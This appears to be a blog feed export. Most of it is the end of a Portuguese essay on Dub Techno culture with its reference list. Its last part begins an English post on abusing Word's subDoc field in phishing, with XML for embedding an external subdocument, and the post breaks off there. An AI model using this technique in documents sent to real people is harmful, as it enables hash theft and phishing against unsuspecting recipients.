&lt;p&gt;A pesquisa revela essas comunidades como componentes essenciais da transformação cultural contemporânea – criando espaços para formação de identidade fora de instituições mainstream, pioneirando sistemas econômicos alternativos, e mantendo conexão entre inovação tecnológica e comunidade humana. Conforme a cultura de música eletrônica se aproxima de sua quarta década, as comunidades de Deep&#x2F;Hypnotic e Dub Techno se mantêm como prova de que movimentos underground podem alcançar influência global enquanto preservam seus valores fundamentais de resistência, comunidade e autenticidade criativa.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;o-dub-techno-como-ponte-entre-urbano-e-natural&quot;&gt;O Dub Techno como ponte entre urbano e natural&lt;a class=&quot;zola-anchor&quot; href=&quot;#o-dub-techno-como-ponte-entre-urbano-e-natural&quot; aria-label=&quot;Anchor link for: o-dub-techno-como-ponte-entre-urbano-e-natural&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;Existe algo quase mágico na forma como o Dub Techno consegue evocar paisagens naturais mesmo sendo criado inteiramente com máquinas em ambientes urbanos. Quando você fecha os olhos numa pista de dança às 4 da manhã e escuta aquelas texturas atmosféricas se desenrolando, não é difícil imaginar cavernas subaquáticas, florestas envoltas em névoa, ou o eco de gotas d&#x27;água numa caverna ancestral.&lt;&#x2F;p&gt;
&lt;p&gt;Rod Modell, do DeepChord, capturou isso perfeitamente quando descreveu sua música como &quot;transmitida do fundo do mar&quot;. Não é apenas uma metáfora poética – existe uma qualidade &lt;strong&gt;orgânica e fluida&lt;&#x2F;strong&gt; nas texturas do Dub Techno que espelha processos naturais. Os delays e reverbs criam ecos que lembram formações geológicas, enquanto as camadas de ruído e filtragem emulam o movimento do vento, da água, da própria atmosfera terrestre.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;A estética da escuta profunda&lt;&#x2F;strong&gt; que define o gênero estabelece um diálogo único entre tecnologia e natureza. Quando Basic Channel usava múltiplos passthroughs de delay para criar essas texturas atmosféricas, eles não estavam apenas manipulando som – estavam criando &lt;strong&gt;espaços acústicos&lt;&#x2F;strong&gt; que funcionam como ecossistemas sonoros. Cada elemento – o kick minimalista, os pads atmosféricos, os delays infinitos – interage como organismos em um habitat natural.&lt;&#x2F;p&gt;
&lt;p&gt;É fascinante como isso ressoa com a experiência humana de contemplação. O Dub Techno exige uma forma diferente de escuta, uma que se aproxima da meditação ou da contemplação de uma paisagem natural. Não é música para ser consumida rapidamente – é para ser &lt;strong&gt;habitada&lt;&#x2F;strong&gt;. Como quando você senta na beira de um lago ao amanhecer e simplesmente observa a névoa se dissipando lentamente sobre a água.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;A temporalidade estendida&lt;&#x2F;strong&gt; dos sets de Dub Techno espelha ritmos naturais em vez de ritmos urbanos acelerados. Em venues como o Berghain, onde a música toca de sexta a segunda-feira sem parar, você experimenta algo próximo aos ciclos naturais – o tempo se torna fluido, linear, menos fragmentado que nossa experiência urbana cotidiana. Há algo profundamente humano nessa reconexão com temporalidades mais orgânicas.&lt;&#x2F;p&gt;
&lt;p&gt;As &lt;strong&gt;frequências sub-graves&lt;&#x2F;strong&gt; que caracterizam o gênero criam uma experiência física que vai além do auditivo. Esses baixos profundos ressoam no corpo de forma similar a fenômenos naturais – trovões distantes, terremotos suaves, o rumor de oceanos. É como se a música ativasse memórias corporais ancestrais, conectando-nos a algo primitivo e essencial.&lt;&#x2F;p&gt;
&lt;p&gt;Artistas contemporâneos como &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Andy_Stott&quot;&gt;Andy Stott&lt;&#x2F;a&gt; ou Echospace cultivam conscientemente essa estética &lt;strong&gt;&quot;bio-techno&quot;&lt;&#x2F;strong&gt; - usando field recordings, incorporando texturas que evocam elementos naturais, criando composições que respiram e evoluem organicamente. Não é coincidência que muito Dub Techno funcione perfeitamente como trilha sonora para contemplação de paisagens naturais, seja numa floresta ou olhando o oceano.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;A experiência comunitária&lt;&#x2F;strong&gt; das pistas de dança também ecoa rituais humanos ancestrais ao redor do fogo, onde música, movimento e comunidade se fundiam numa experiência transcendente coletiva. O Dub Techno, com suas texturas envolventes e batidas hipnóticas, recria esse espaço ritual onde os participantes podem experienciar tanto solidão contemplativa quanto conexão comunitária profunda.&lt;&#x2F;p&gt;
&lt;p&gt;Talvez seja isso que torna o gênero tão resiliente e significativo: numa era de hiper-urbanização e desconexão digital, o Dub Techno oferece um &lt;strong&gt;retorno tecnológico ao orgânico&lt;&#x2F;strong&gt;. Ele usa as ferramentas mais avançadas da tecnologia musical para recriar sensações e espaços que nos reconectam com aspectos fundamentais da experiência humana - tempo cíclico, escuta profunda, contemplação, presença.&lt;&#x2F;p&gt;
&lt;p&gt;É uma ironia bonita (quase uma cosmic joke) que máquinas possam nos ajudar a redescobrir nossa humanidade, e que, frequências digitais possam evocar a vastidão de oceanos e o mistério de cavernas. No final, talvez o Dub Techno seja exatamente isso: uma forma de meditação tecnológica que nos lembra que, mesmo em meio ao concreto e às telas, ainda somos seres naturais buscando conexão, transcendência e beleza.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;em&gt;Esse texto é baseado em pesquisa extensiva, mas também na paixão de alguém que viveu essas pistas de dança e entende que por trás de cada batida há uma comunidade, uma história, e uma forma de resistência que continua ecoando pelos clubs do mundo todo.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;referencias&quot;&gt;Referências&lt;a class=&quot;zola-anchor&quot; href=&quot;#referencias&quot; aria-label=&quot;Anchor link for: referencias&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h3&gt;
&lt;h2 id=&quot;fontes-academicas-e-journals&quot;&gt;Fontes Acadêmicas e Journals&lt;a class=&quot;zola-anchor&quot; href=&quot;#fontes-academicas-e-journals&quot; aria-label=&quot;Anchor link for: fontes-academicas-e-journals&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Sage Journals&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Cannon, J. W., &amp;amp; Greasley, A. E. (2021). Exploring Relationships Between Electronic Dance Music Event Participation and Well-being. &lt;em&gt;Sage Open&lt;&#x2F;em&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;OpenEdition Journals&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;From Post-Punk to PC Music: Subcultural Discourses and Practices in Two Underground Scenes (1979, 2015)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Journal of Popular Music Studies (University of California Press)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Various articles on popular music studies and electronic music culture&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;IASPM Journal&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Popular Music Studies and the Problems of Sound, Society and Method&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Equinox Publishing&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Ethnography in Western Popular Music Research Revisited: A Case Study and&#x2F;as a Critique&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Nature - Humanities and Social Sciences Communications&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Cultural Divergence in popular music: the increasing diversity of music consumption on Spotify across countries&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Routledge Academic&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Bennett, A. &amp;amp; Guerra, P. &quot;DIY Cultures and Underground Music Scenes&quot; (1st Edition)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;industria-musical-e-dados-economicos&quot;&gt;Indústria Musical e Dados Econômicos&lt;a class=&quot;zola-anchor&quot; href=&quot;#industria-musical-e-dados-economicos&quot; aria-label=&quot;Anchor link for: industria-musical-e-dados-economicos&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Beatportal&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;IMS Business Report 2025: The Global Electronic Music Industry Hits a Record $12.9 Billion&lt;&#x2F;li&gt;
&lt;li&gt;Chart Toppers: Beatport&#x27;s Top-Selling Tracks, Artists and Labels of 2024 (By Genre)&lt;&#x2F;li&gt;
&lt;li&gt;Techno (Raw &#x2F; Deep &#x2F; Hypnotic): The Top-Selling Tracks, Artists, and Labels of 2024&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Spotify For the Record&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Beyond Profits: How the Music Industry&#x27;s Cultural and Financial Impact Define Its Success in 2025&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;publicacoes-especializadas-em-musica-eletronica&quot;&gt;Publicações Especializadas em Música Eletrônica&lt;a class=&quot;zola-anchor&quot; href=&quot;#publicacoes-especializadas-em-musica-eletronica&quot; aria-label=&quot;Anchor link for: publicacoes-especializadas-em-musica-eletronica&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Boomkat&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;BASIC CHANNEL - Phylyps Trak&lt;&#x2F;li&gt;
&lt;li&gt;ANDY STOTT - Never The Right Time&lt;&#x2F;li&gt;
&lt;li&gt;ANDY STOTT - Unknown Exception&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;DJ Mag&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;11 labels blurring the boundaries of ambient, Dub Techno and the dancefloor&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Mixmag&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Celebrating Black History: Detroit techno icons&lt;&#x2F;li&gt;
&lt;li&gt;Reclaiming Medellín from gang rule has transformed the Colombian city&#x27;s music scene&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;SIX AM Group&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;An Intro to 90s Techno: History, Artists, &amp;amp; Labels&lt;&#x2F;li&gt;
&lt;li&gt;Techno History Guide: A Deep Dive Into Dub&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;NTS Live&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Rod Modell artist profile&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;fontes-jornalisticas-e-midia&quot;&gt;Fontes Jornalísticas e Mídia&lt;a class=&quot;zola-anchor&quot; href=&quot;#fontes-jornalisticas-e-midia&quot; aria-label=&quot;Anchor link for: fontes-jornalisticas-e-midia&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Medium&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Welch, S. &quot;Techno in Berlin: A Symbol of the City&#x27;s Post-Wall Culture&quot; (Berlin Beyond Borders)&lt;&#x2F;li&gt;
&lt;li&gt;Verma, A. &quot;How the Underground Dance Music Scene Makes Me a Better User Researcher&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;NPR&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;The surprising history behind Berlin&#x27;s techno club scene&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;ABC News&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;A Berlin club owner&#x27;s mission to give back to Detroit, the city that gave Europe techno&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;The Conversation&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Berlin Wall: how techno music united Germany on the dance floor&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;The New Republic&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Techno Unified Berlin After the Fall of the Wall&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Red Bull Music Academy Daily&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Tear Down This Wall: Reunification and the Explosion of Techno in Berlin&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;fontes-especializadas-e-blogs&quot;&gt;Fontes Especializadas e Blogs&lt;a class=&quot;zola-anchor&quot; href=&quot;#fontes-especializadas-e-blogs&quot; aria-label=&quot;Anchor link for: fontes-especializadas-e-blogs&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Halcyon Days&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Top 20 Dub techno tracks&quot;&lt;&#x2F;li&gt;
&lt;li&gt;&quot;Chain reaction, an iconic Dub Techno label&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Black Rhino Radio&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Dub Techno: A sonic odyssey through time&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Technonostalgia&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;The Italian Techno Scene of the &#x27;90s: A Hidden Gem&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Learning to DJ&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Berlin Techno: Origins After The Wall&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Hardstyle Mag&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;The Impact of COVID-19 on the Electronic Music Industry&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;TECHNO MUSIC&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Nightlife Resurgence: How Techno Clubs Survived and Thrived Post-Pandemic&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Soundvibe Mag&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;New Documentary Explores COVID-19&#x27;s Impact on Techno&#x27;s Global Rise&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;fontes-institucionais-e-culturais&quot;&gt;Fontes Institucionais e Culturais&lt;a class=&quot;zola-anchor&quot; href=&quot;#fontes-institucionais-e-culturais&quot; aria-label=&quot;Anchor link for: fontes-institucionais-e-culturais&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Google Arts &amp;amp; Culture&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Tresor: The Iconic Berlin Techno Club of the 1990s&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;UNESCO&lt;&#x2F;strong&gt; (mencionado para reconhecimento de patrimônio cultural)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Rave The Planet&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Techno Culture in Berlin - A Journey to Intangible Cultural Heritage&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;discografias-e-labels&quot;&gt;Discografias e Labels&lt;a class=&quot;zola-anchor&quot; href=&quot;#discografias-e-labels&quot; aria-label=&quot;Anchor link for: discografias-e-labels&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Discogs&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Basic Channel – Phylyps Trak (1993)&lt;&#x2F;li&gt;
&lt;li&gt;Basic Channel – Quadrant Dub (1994)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Echospace313&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Informações sobre Rod Modell&#x2F;Deepchord&#x2F;Echospace&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Tresor Berlin&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Underground Resistance artist page&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;midia-regional&quot;&gt;Mídia Regional&lt;a class=&quot;zola-anchor&quot; href=&quot;#midia-regional&quot; aria-label=&quot;Anchor link for: midia-regional&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;Expats.cz&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Prague is the thumping new heart of Europe&#x27;s techno scene&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;MSU Today&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Ask the expert: How Detroit and its people are integral to the rise of techno music&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Mondo Internazionale&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Changing Cities: BERLIN - Reunification and politics through techno and club culture&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;wikipedia-base-factual&quot;&gt;Wikipedia (Base factual)&lt;a class=&quot;zola-anchor&quot; href=&quot;#wikipedia-base-factual&quot; aria-label=&quot;Anchor link for: wikipedia-base-factual&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;Dub Techno&lt;&#x2F;li&gt;
&lt;li&gt;Basic Channel&lt;&#x2F;li&gt;
&lt;li&gt;Chain Reaction (record label)&lt;&#x2F;li&gt;
&lt;li&gt;Marcel Dettmann&lt;&#x2F;li&gt;
&lt;li&gt;Berghain&lt;&#x2F;li&gt;
&lt;li&gt;DC10 (nightclub)&lt;&#x2F;li&gt;
&lt;li&gt;Deepchord&lt;&#x2F;li&gt;
&lt;li&gt;Underground Resistance&lt;&#x2F;li&gt;
&lt;li&gt;Hauntology (music)&lt;&#x2F;li&gt;
&lt;li&gt;Music of the Netherlands&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
	</entry>
	<entry xml:lang="en">
		<title>Abusing the Microsoft Word feature subDoc in phishing campaigns</title>
		<published>2022-04-19T00:00:00+00:00</published>
		<updated>2022-04-19T00:00:00+00:00</updated>
		<link href="https://biscoito.eu/posts/abusing-the-microsoft-word-feature-subdoc-in-phishing-campaigns/" type="text/html"/>
		<id>https://biscoito.eu/posts/abusing-the-microsoft-word-feature-subdoc-in-phishing-campaigns/</id>
		<content type="html">&lt;h2 id=&quot;microsoft-office-exploitation&quot;&gt;Microsoft Office Exploitation&lt;a class=&quot;zola-anchor&quot; href=&quot;#microsoft-office-exploitation&quot; aria-label=&quot;Anchor link for: microsoft-office-exploitation&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Microsoft_Office&quot;&gt;Microsoft Office&lt;&#x2F;a&gt; suite is known to have plenty of features that can be abused by attackers, red-teamers and security researchers, these features can be abused in such a way that gives the attacker unlimited possibilities and attack vectors, attacks can go from a simple &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;NT_LAN_Manager#NTLMv2&quot;&gt;NTLMv2&lt;&#x2F;a&gt; hash steal to &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Arbitrary_code_execution&quot;&gt;Arbitrary Code Execution&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;You might think that Microsoft Office is quite an uncommon way to execute malware, however it&#x27;s not only used to execute malicious code. It&#x27;s mainly used in red-team operations for phishing campaigns. The existence of Microsoft Office makes it for an ideal tool in phishing campaigns.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;abusing-the-microsoft-word-feature-subdoc&quot;&gt;Abusing the Microsoft Word feature: subDoc&lt;a class=&quot;zola-anchor&quot; href=&quot;#abusing-the-microsoft-word-feature-subdoc&quot; aria-label=&quot;Anchor link for: abusing-the-microsoft-word-feature-subdoc&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;https:&#x2F;&#x2F;c-rex.net&#x2F;projects&#x2F;samples&#x2F;ooxml&#x2F;e1&#x2F;Part4&#x2F;OOXML_P4_DOCX_subDoc_topic_ID0EAC41.html&quot;&gt;subDoc&lt;&#x2F;a&gt; field is an &lt;a rel=&quot;nofollow noreferrer external&quot; href=&quot;http:&#x2F;&#x2F;officeopenxml.com&#x2F;&quot;&gt;OOXML&lt;&#x2F;a&gt; (Open Office XML) field implemented in Microsoft Word known to exist ever since from Microsoft Word 2007 to the Microsoft Word 2016. Its whole purpose is to embed a &quot;subdocument&quot; within a master document, for example, embedding an external Word document into a &quot;master&quot; document.&lt;&#x2F;p&gt;
&lt;p&gt;To add the subDoc field to your Word document is as easy as editing these files in the OOXML package (zip file):&lt;&#x2F;p&gt;
&lt;h3 id=&quot;word-rels-document-xml-rels&quot;&gt;word&#x2F;_rels&#x2F;document.xml.rels&lt;a class=&quot;zola-anchor&quot; href=&quot;#word-rels-document-xml-rels&quot; aria-label=&quot;Anchor link for: word-rels-document-xml-rels&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h3&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;Relationship&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; Id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;rId5&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; Type&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;http:&#x2F;&#x2F;schemas.openxmlformats.org&#x2F;officeDocument&#x2F;2006&#x2F;relationships&#x2F;subDocument&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; Target&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;external_document.docx&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; TargetMode&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;External&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;word-document-xml&quot;&gt;word&#x2F;document.xml&lt;a class=&quot;zola-anchor&quot; href=&quot;#word-document-xml&quot; aria-label=&quot;Anchor link for: word-document-xml&quot; style=&quot;visibility: hidden;&quot;&gt;&lt;&#x2F;a&gt;
&lt;&#x2F;h3&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;subDoc&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt; r&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity&quot;&gt;id&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt;rId5&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;w&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;:&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
